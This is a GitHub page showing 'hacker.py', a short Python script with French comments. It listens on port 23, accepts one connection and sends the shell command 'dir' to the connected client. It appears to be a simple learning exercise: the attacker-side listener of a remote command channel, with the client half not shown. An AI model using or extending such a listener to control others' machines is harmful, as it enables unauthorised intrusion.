-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhacker.py
More file actions
27 lines (22 loc) · 748 Bytes
/
hacker.py
File metadata and controls
27 lines (22 loc) · 748 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
import os
import subprocess
import sys
if __name__ == "__main__":
hacker_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
IP = "0.0.0.0" #IPV4 #TCP
Port = 23
socket_address = (IP, Port)
hacker_socket.bind(socket_address)
hacker_socket.listen(5)
#----------------------------------------------
os.system('cls')
print ("En attente d'une connexion ...")
hacker_socket, client_address = hacker_socket.accept()
clientadd=str(client_address[0])
print("Connexion entrante de "+clientadd)
message = "dir"
message_bytes = message.encode()
hacker_socket.send(message_bytes)
print ("Message envoyé")
hacker_socket.close()